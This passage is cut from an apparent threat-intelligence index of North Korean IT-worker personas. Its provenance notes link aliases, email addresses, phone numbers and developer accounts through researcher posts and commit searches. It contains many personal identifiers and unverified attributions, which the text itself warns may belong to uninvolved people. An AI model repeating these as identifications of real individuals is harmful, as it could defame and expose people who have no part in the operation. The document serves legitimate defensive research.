those commits rather than proof of who holds the account.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (bitfancy) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address benbarker0311@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The name is this site reading the address, not a name the researcher gave: the post pairs an address with a picture and attributes neither to anybody.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- benbarker0311 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Ben Barker. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by putting benbarker0311, the GitLab login the index already holds for this persona, to Maigret's username search and then asking Freelancer's public user endpoint, which answers with the account record and, for a name that does not exist, with nothing. Freelancer returns the account with the display name Closed User and a registration date of 3 March 2022: an account existed under the handle and has since been closed, which is recorded here because a closed account is still a registration, and the date is the one fact it states. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for the address browsercookies published for this persona in the profile-picture thread of 17 May 2025. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so a former handle is a matter of record; and GitHub attributes a commit to whichever account has its address registered, which only the address's holder can do.\n\ngithub.com/Gentleeman is account id 86507173, created on 26 June 2021, display name Gentleman, with 77 public repositories. Its noreply addresses show it was previously named benbarker0311, the persona's address as a handle, and ksanalex. Fifty-five of its repositories hold 93 commits signed benbarker0311@gmail.com, dated June 2021 to June 2024. GitHub now attributes that address to github.com/BenBBarker, account id 220992038, created on 16 July 2025 with no repositories, so the address was registered to a fresh, empty account after the older one stopped using it.","The second identity in the same post, given only as \"a Benjamin\", which the researcher says was also hired at an artificial intelligence company through the same Florida staffing agent. A given name on its own settles nothing and is recorded as exactly that.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- okawamasaaki916 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Benjamin Loewe. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/jonyx225 is account id 47555611, created on 12 February 2019, with 222 public repositories. Its commits carry 47555611+ponyjackal@users.noreply.github.com, so it is the account lazarus.group and tayvano list as github.com/ponyjackal, renamed; that handle now returns not found. It signs 84 of the 100 commits GitHub's search returns for it with pony1125@outlook.com, an address the registry gives for Benjamin Nguyen, under the author names pony and ponyjackal.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. Two names in the table share this address.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. The address is on the domain of a resume-building service rather than a mail provider, which is where this persona's resume was assembled. The document marks the telephone number as fabricated.","The researcher's thread opens the Elite Coders team with this identity, naming the X account YouthDream17713 as a North Korean and giving the GitHub account, two portfolios, a Telegram handle and a Freelancer profile. Transcribed from the researcher's chart, which groups every account under the name it gives here and draws its links from mutual follows, shared contact details and repositories carrying one another's details. The chart also gives Discord handles Big Dream#0094, Tom Love#0094, for which this site has no extractor. Accounts on platforms this site does not index, as the chart lists them: mastodon.social/@youthdream, stackblitz.com/@YouthDream0925, reddit.com/user/Ok_Love_2771/, hackerrank.com/profile/youthdream0925, github.com/YouthDream0925/YouthDream0925/commit/f04bceec57c914355d3e9af7c423e5170bdd77d2, kevincrichton.website3.me/, stackoverflow.com/users/20877284/youth-dream, hashnode.com/@youthdream.","Read from the table image the post carries, rather than from its text. The post is the head of the thread whose later parts this file already cites: those parts restate the table in plain text, and the cells transcribed here are the ones no part reached. The researcher's own layout is what supplies the attribution -- a cell is headed with a Korean name and lists the aliases, accounts and addresses filed under it.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. The document marks this number as fabricated. No address is given for this name.","The post names the persona and states he is a DPRK IT worker. The name and the still are everything it publishes.","Transcribed from the researcher's Boris Lee Anderson and Friends chart, whose edges say which account hangs off which; the chart marks the link between this cluster and m4rcu5o's with the words colleagues or alts, without deciding. The chart hangs both addresses, the Telegram handle, the X account and the husreo and borislee-gif accounts off dappboris-dev, whose personal repository it says carries the same code as m4rcu5o's. It also records dappboris-dev submitting an issue to the Bauddhik-Geeks welcome repository under the springers230 address; that project is the recipient, not an indicator.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under husreo, a login the index already carries for this persona on another platform. It gives a joined date of Feb 17, 2025. It displays \"Steven\", a display name rather than a person's name. The profile links a GitHub account, husreo. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- springers230 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Igor Blindu. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 9 commits signed setodev1994@gmail.com, an address KawaiiJongUwUn publishes for this persona, and 30 commits signed springers230@gmail.com, an address KawaiiJongUwUn publishes for this persona, to the login 0xsebasneuron, which no longer resolves.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (dappboris-dev) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried. The same README, a four.meme trading-tools page licensed to dappboris-dev, gives a BSC address under Support / Donate directly above the contact block that names springers230@gmail.com and the hsboris0622 Telegram account; it was added on 1 October 2026. The address appears in no other file GitHub's code search returns, and on that date it was an ordinary account on BSC that had sent 40 transactions and held no balance. The original dappboris-dev/four-meme-trading-tools repository returned 404.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Eustis, Florida and the role it presents as Senior Software Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Newly created LinkedIn profile the researcher assesses as a DPRK IT worker, giving Full Stack .Net Engineer at Korn Ferry, Nacogdoches, Texas, 180 connections, marked open to work, and listing Nova Southeastern University. The post says the identity also holds Calendly, HackerRank and Glassdoor accounts and that the portrait is generated.","Read on 18 September 2026 from GitHub's user search on the persona's name, which returned one account: brandon-dev-star, display name Brandon Humble, location Nacogdoches Texas, public email humblebrandon18@gmail.com, created 12 July 2024, no followers and following nobody, three repositories dated November and December 2024 of which one is described as a .NET and Angular to-do list and another is a QA Wolf take-home assignment. The city and the .NET stack are the ones the researcher's April 2025 capture gives for the Full Stack .Net Engineer account, and the login follows the name-dev-word pattern this site has seen on eric-dev-stevens. The LinkedIn address was not readable in the researcher's capture; Google's index carried it on the same day under the title Brandon Humble - Software Engineer - Korn Ferry, the employer the capture shows, and the page itself returned LinkedIn's does-not-exist notice when opened under an authenticated session, so the account is recorded as removed. Calendly and HackerRank, which the researcher named as platforms the identity was on, were probed under the obvious handles and hold nothing under them. The name is what links this account to the rest; nothing here establishes that one person holds both, and the entry records what the account itself states.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- brentjeremynel -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Brent Jeremy. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under blackeagle273, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 25 February 2025 and a display name of blue guy. The display name is kept here rather than as an alias, because it restates the handle, describes the work, or repeats what this operator is already called. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","The opening post of the DRC Team thread describes this identity as an IT worker who built KYC and AML systems at an exchange, worked at Funnull with administrative access, used the GitHub account associated with the Polyfill supply-chain attack, and used the services of Serbian laptop farmers.","The persona of the operator in GitLab's fourth case study, a North Korean IT worker GitLab assesses was highly likely based in central Moscow when the photographs were taken on April 18, 2025, and who commonly reached GitLab.com from Russian IP addresses. The name appears only in the report's image of the operator's original and AI-enhanced photographs and the two profile pages that used them: a portfolio card reading \"Brian Young, WebGL and Full Stack Developer\" with a stated location of Kadoorie Hill, Hong Kong, and a \"Meet the team\" page captioned \"Brian Young, Senior Full Stack Developer\" with a LinkedIn icon. GitLab redacted both employers. GitLab reports that the operator began as a freelance developer and 3D modeler, was part of a 14-member cell in 2022, moved to seeking full-time employment at U.S. and U.K. organizations in 2025 through a facilitator in Hong Kong, presented as a Chinese national with visa difficulties to prospective facilitators, and gained employment with at least one small U.S. technology agency in mid-2025, with access to its client web hosts.","Named with three aliases; the post publishes no email or code-hosting account for this persona.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address buddy.dev.0308@outlook.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Read on 21 September 2026 from the repositories of the GitHub account the cited post attributes to this persona, Guangyang-Sunlight. Two of them, Ronel_Resume and Software_AI-ML-_Engineer, were created on 26 September 2025 and hold between them three commits, every one signed Business_DEV <vpn001942@gmail.com> and attributed by GitHub to a second account, Business-Senior-Dev, created on 10 September 2025 with the bio \"Perfect and Clean Code.\" and that address as its public profile email. The first commit to Ronel_Resume is timestamped 39 seconds before the repository itself was created, and the repository was created under Guangyang-Sunlight: whoever was signed in as this persona to create it pushed to it, within the minute, from a working copy configured with the second account's identity, which is one person at one keyboard rather than a contributor. The repository holds a curriculum vitae as a PDF and the source of a site built with a page generator that deployed it to ronel-resume.vercel.app, since taken down. The CV is transcribed on this page. It presents a senior software engineer in Calapan in the Philippines with a LinkedIn address that no longer resolves; the name and the details on it may belong to a real person whose document was taken, and nothing here settles that. Business-Senior-Dev's other repository is the same page-generator build of a Madrid SEO agency's site that Software_AI-ML-_Engineer holds, so both accounts carry the same client work. One further observation is recorded here and is not an indicator: on 12 September 2025 this persona created three repositories for a voice-assistant backend named Assistmind, Business-Senior-Dev created an empty repository of the same name the same day, and on 19 September 2025 miracle709, the account this site files under Taro Aikuchi, created a repository holding 189 files byte for byte identical to the backend. Nine unrelated accounts also hold repositories of that name, so the project was evidently handed to several developers at once; the shared files say the two personas were given the same code, not that they are one hand.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under devneser, a login the index already carries for this persona on another platform. The profile gives a member-since date of 30 June 2021. It displays \"devneser\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 17 September 2026 by asking Docker Hub whether an account exists under devneser, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 10 March 2022. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Mansfield, Texas, the role it presents as Senior Mobile Engineer, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 2026-09-24 by searching GitHub commits for the persona's address. ChazCarey, created in October 2025, signs its commits with the persona's address; its repositories include a tailored-resume project and a MERN interview project.","The thread's second named worker, X account temunel, formerly chenglin1129, with the GitHub account temunus and an earlier temunel account preserved only on the Wayback Machine. Transcribed from the researcher's chart, which groups every account under the name it gives here and draws its links from mutual follows, shared contact details and repositories carrying one another's details. Accounts on platforms this site does not index, as the chart lists them: stackoverflow.com/users/23219369/temunel, mastodon.social/@temunel, temunel.hashnode.dev/, temunus.github.io/, github.com/temunus/temunus.github.io, web.archive.org/web/20240913165501/https://temunel.github.io/, web.archive.org/web/20241001025412/https://github.com/temunel, web-cdn.bsky.app/profile/did:plc:bns5masj5rbtdm5u2tbzq42q.","Found on 17 September 2026 by asking Docker Hub whether an account exists under temunel, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 29 April 2026. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/temunus, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: patrickcoleman1129@outlook.com authored 17 commits across 4 of its repositories, commits as \"temunus\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","The researcher states that the operator tracked as Naoki is really named Choe Il-kuk, and that he works under Chinyong Information Technology Cooperation Company, a DPRK front company acting for Bureau 61 of the Ministry of National Defense. Naoki Murano and Chinyong both appear in this repository from other sources. This is a real-name attribution against an existing identity, which is a stronger claim than anything else in this file, and it is carried as the researcher's assertion and not as a finding of this site.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Dickinson, Texas, and nothing else. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in the United States; the address above is that mailbox. The register marks no LinkedIn profile as created for it. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under mbenz12, a login the index already carries for this persona on another platform. The profile gives a member-since date of 23 May 2022. It displays the name Christmas Jin, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Springdale, Arkansas, the role it presents as Senior Full Stack Developer, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address christopher.sun.moon@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The name is this site reading the address, not a name the researcher gave: the post pairs an address with a picture and attributes neither to anybody.","One of four personas the post presents side by side, each as a single dark card giving a handle, a job title, a photograph and a row of platform links. The post's text carries the accounts; the card carries the title and the face. The researcher's own shorthand names this one differently in the text than the card does, and the card's spelling is what is used here, because that is the name the identity presents. The card gives the title \"Senior Fullstack Engineer\" and links to Twitter, GitHub, Telegram and LinkedIn. The post lists a third handle for this persona between the two Telegram accounts without saying which platform it belongs to; it is held back rather than typed, and the reasoning is in x-held-back.json.","Found on 18 September 2026 by putting dss2000, the Telegram login the index already holds for this persona, to Maigret's username search and then asking Freelancer's public user endpoint, which answers with the account record and, for a name that does not exist, with nothing. The account is live, states the display name dss2000, a location of India, and a registration date of 7 July 2018. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","The Rewards for Justice programme names this as one of the aliases under which North Korean IT workers obtained remote software and application development work at United States companies between about October 2020 and October 2023, using false identities belonging to more than sixty real United States persons, with Christina Chapman hosting their employer-issued laptops and handling their pay; it states the scheme generated at least $6.8 million for the DPRK and links the workers to the Munitions Industry Department. The notice publishes the alias and nothing else about it: no account, address or telephone number. It is an alias, so the real person whose name or details it may have been assembled from is not the worker. The poster prints the names surname first, and that order is kept as an alias so either form finds the record.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under gitakileus, a login the index already carries for this persona on another platform. The profile gives a member-since date of 27 June 2022. It displays the name Lucas Lee, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/codomposer, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The addresses recorded here were not already in this index: akileus0902@gmail.com authored 169 commits across 16 of its repositories, commits as \"codomposer\"; eugene.chiu.dev@gmail.com authored 42 commits across the repository codomposer/polymeme-app, commits as \"codomposer\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Louisville, Kentucky and the role it presents as Senior .NET Software Engineer, and the contact details above. Across the site's records, +13477321116 also appears on the record for Marcos Fermin. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 27 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address curtisconley34@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (cutupdev) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- lambook35 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Daichi Okazaki. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Keybase whether an account exists under cobang, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 29 November 2019 and no display name but the handle itself. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under cobang, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 15 December 2017. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Hugging Face whether an account exists under cobang, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a display name of Gihoon Kim. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by putting cobang, the login the registry already holds for this operator on GitHub, Keybase, Docker Hub and Hugging Face, to Maigret's username search and reading the Telegram page it reported, cited here. The page states the display name Cosby with a paw-print emoji and the bio Always grateful, which is why it is held here rather than as an alias: neither is a name a person could be searched for, and the display name restates the handle at most loosely. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by putting cobang, the login the registry already holds for this operator on GitHub, Keybase, Docker Hub, Hugging Face and Telegram, to Maigret's username search and then asking Freelancer's public user endpoint, which answers with the account record and, for a name that does not exist, with nothing. The account is live, states the display name Cobang, a location of Jakarta, Indonesia, and a registration date of 24 October 2024. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","The entry for this group in x-dossiers.json records that Nisos named Jan Kowalski on one portfolio's about section, and Kornel Dudek, Fred Rowe, Juan Pablo Torres and Thomas Richard in the sites' testimonials, but that none of those names was tied to a particular account and so none was recorded. Reading the accounts themselves supplies what was missing for some of them.\n\nThree of the names are what the accounts put in their own GitHub profile name field, read from the API on 20 September 2026: CleverSofter gives Marcin Pawlak, SoftwarePassioner gives Damian Kowalczyk, and Ideal-Softer gives Taylor Fuller. These are not inferred from anything; they are the value the account publishes about itself.\n\nThree more come from the commit walk of 19 September 2026, and are more interesting because they cross accounts. Jiners Enoheart signs commits from three distinct GitHub account ids — 160272094, 160324684 and 36896525, which are CleverSofter, SoftwarePassioner and Ideal-Softer. Leon Hoffmann signs commits from two, 38037508 and 38038194, which are eros1006 and VeteranSoftDev. Jan Kowalski, the one name the report did publish, signs commits from four: eros1006, websparkledev, VeteranSoftDev and nulidev. A GitHub noreply address is minted from the account's immutable numeric id, so \"the same name from several ids\" is a statement about accounts rather than about spellings.\n\nJan Kowalski should not be searched as though it identified anybody. It is the standard Polish placeholder name, the equivalent of John Doe in English, and it is recorded here only because it now attaches to four specific accounts rather than floating in a report. Marcin Pawlak and Damian Kowalczyk are likewise ordinary Polish names and Taylor Fuller an ordinary English one; Jiners Enoheart is the only one of the six distinctive enough that a match on it means much. Their value is that they agree with what Nisos assessed, a network posing as Polish and United States developers, and that they give a reader something to check a job application against.\n\nA name here settles nothing about any person. These are the identities the accounts wear, and the people whose names they may have been assembled from are as likely to be uninvolved as not. Nothing on this entry is an assertion that a person of any of these names exists, is a DPRK operator, or has done anything at all.","Found on 12 September 2026 by searching the open web for the account handles this site already holds for this operator, and read directly from the page cited. A GitLab account exists under evgpan, one of the logins the registry gives for this operator. It carries no bio, no location and no links, and states only a display name in Cyrillic, Евгений Панов — which transliterates as Evgeny Panov, a reading of this site's own and not something the page says — and a member-since date of 6 February 2024. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry and the ZEUS-DEV-919 working document give for a persona, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/solover007 is account id 103972925, created on 19 April 2022, display name FullStack AI Dev. GitHub attributes 340 commits to it, and 99 of the 100 its search returns are signed cryptospaceboy00@gmail.com, an address lazarus.group gives for Dan Mao, under the author name spaceboy000; the hundredth is 103972925+spaceboy000@users.noreply.github.com, which makes spaceboy000 the account's former handle. Its repositories are committed with that address on the day they are created, LunarHopMiner on 16 January 2023 among them. The registry lists no GitHub account for this persona. The handle spaceboy000 was registered afresh on 19 July 2026 by a different account, id 306679812, which is not this one and is not filed.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry gives for a persona, and keeping the accounts whose own repositories are committed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/0xquantech is account id 92380384, created on 12 October 2021, display name Q, with 110 public repositories. Its repositories hold commits signed with five addresses lazarus.group gives for Dan Mao, blockchainlover2019@gmail.com, ananphoon823@gmail.com, alexwork455@gmail.com, billyrowan1980@gmail.com and topstack2021a@gmail.com, 144 of them in GitHub's search, under the author names blockchainlover2019 and Crazy. In eight of the twelve repositories read they are the only commits, or all but one or two, and they are made in the days after each repository was created: coin-multi-sender, created on 12 March 2023, holds five commits of 12 to 15 March signed ananphoon823@gmail.com, and nothing else. None of the five addresses is registered to a GitHub account, which is why a search on the account's own name finds no commits, and why the account is tied to the persona by what its repositories contain rather than by its login. It is filed beside github.com/solover007, which signs with a sixth Dan Mao address.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 100 commits signed topstack2021a@gmail.com, an address the lazarus.group registry publishes for this persona, to the login RustBlockchainEngineer, which no longer resolves.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Jacksonville, Florida and the role it presents as Senior .NET Software Engineer, and the contact details above. The record adds a mailbox and a LinkedIn profile from the persona's working files. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Valparaiso, Indiana and the role it presents as Senior .NET Software Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","ZachXBT published a table of the fake identities this operator ran, drawn from a device an unnamed source compromised. The post states five IT workers between them operated more than thirty identities, using purchased Upwork and LinkedIn accounts and government IDs to obtain developer jobs. THE VALUES BELOW WERE READ FROM THE SCREENSHOT IN THE POST, not from text: the table is an image and exists in no machine-readable form. Each was transcribed and checked against the image by a person, and the team designation is the source's own grouping, not an inference drawn here. One value in the table is shared with another team. The GitHub account github.com/intellltech is listed twice in the image, once on the Henry Zhang row under this team and once on the Shan Shan Feng row under Dream, spelled identically in both. It is recorded against both operators because that is what the source shows; it is not a transcription error here, and it is the only value in the table that appears under two teams.","Linked to Michael Liu Liang by follows; the 0811 suffix recurs across the GitHub handles and the addresses. The chart also lists an org chart entry at theorg.com, a freelancermap profile and a RemoteHub profile under the Daniel Jin name. Transcribed from the researcher's chart, which groups every account under the name it gives here and draws its links from mutual follows, shared contact details and repositories carrying one another's details. Accounts on platforms this site does not index, as the chart lists them: github.com/changdev0811/employee/commit/e3b69969ecae6a3e13dabaf3b991fc7d992b2cb5, theorg.com/org/kickoff-by-zuju/org-chart/daniel-jin, freelancermap.com/profile/daniel-jin, remotehub.com/daniel.jin.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under big.dreamwork999, a login the index already carries for this persona on another platform. The profile gives a member-since date of 8 November 2022. It displays \"Big Dream\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under 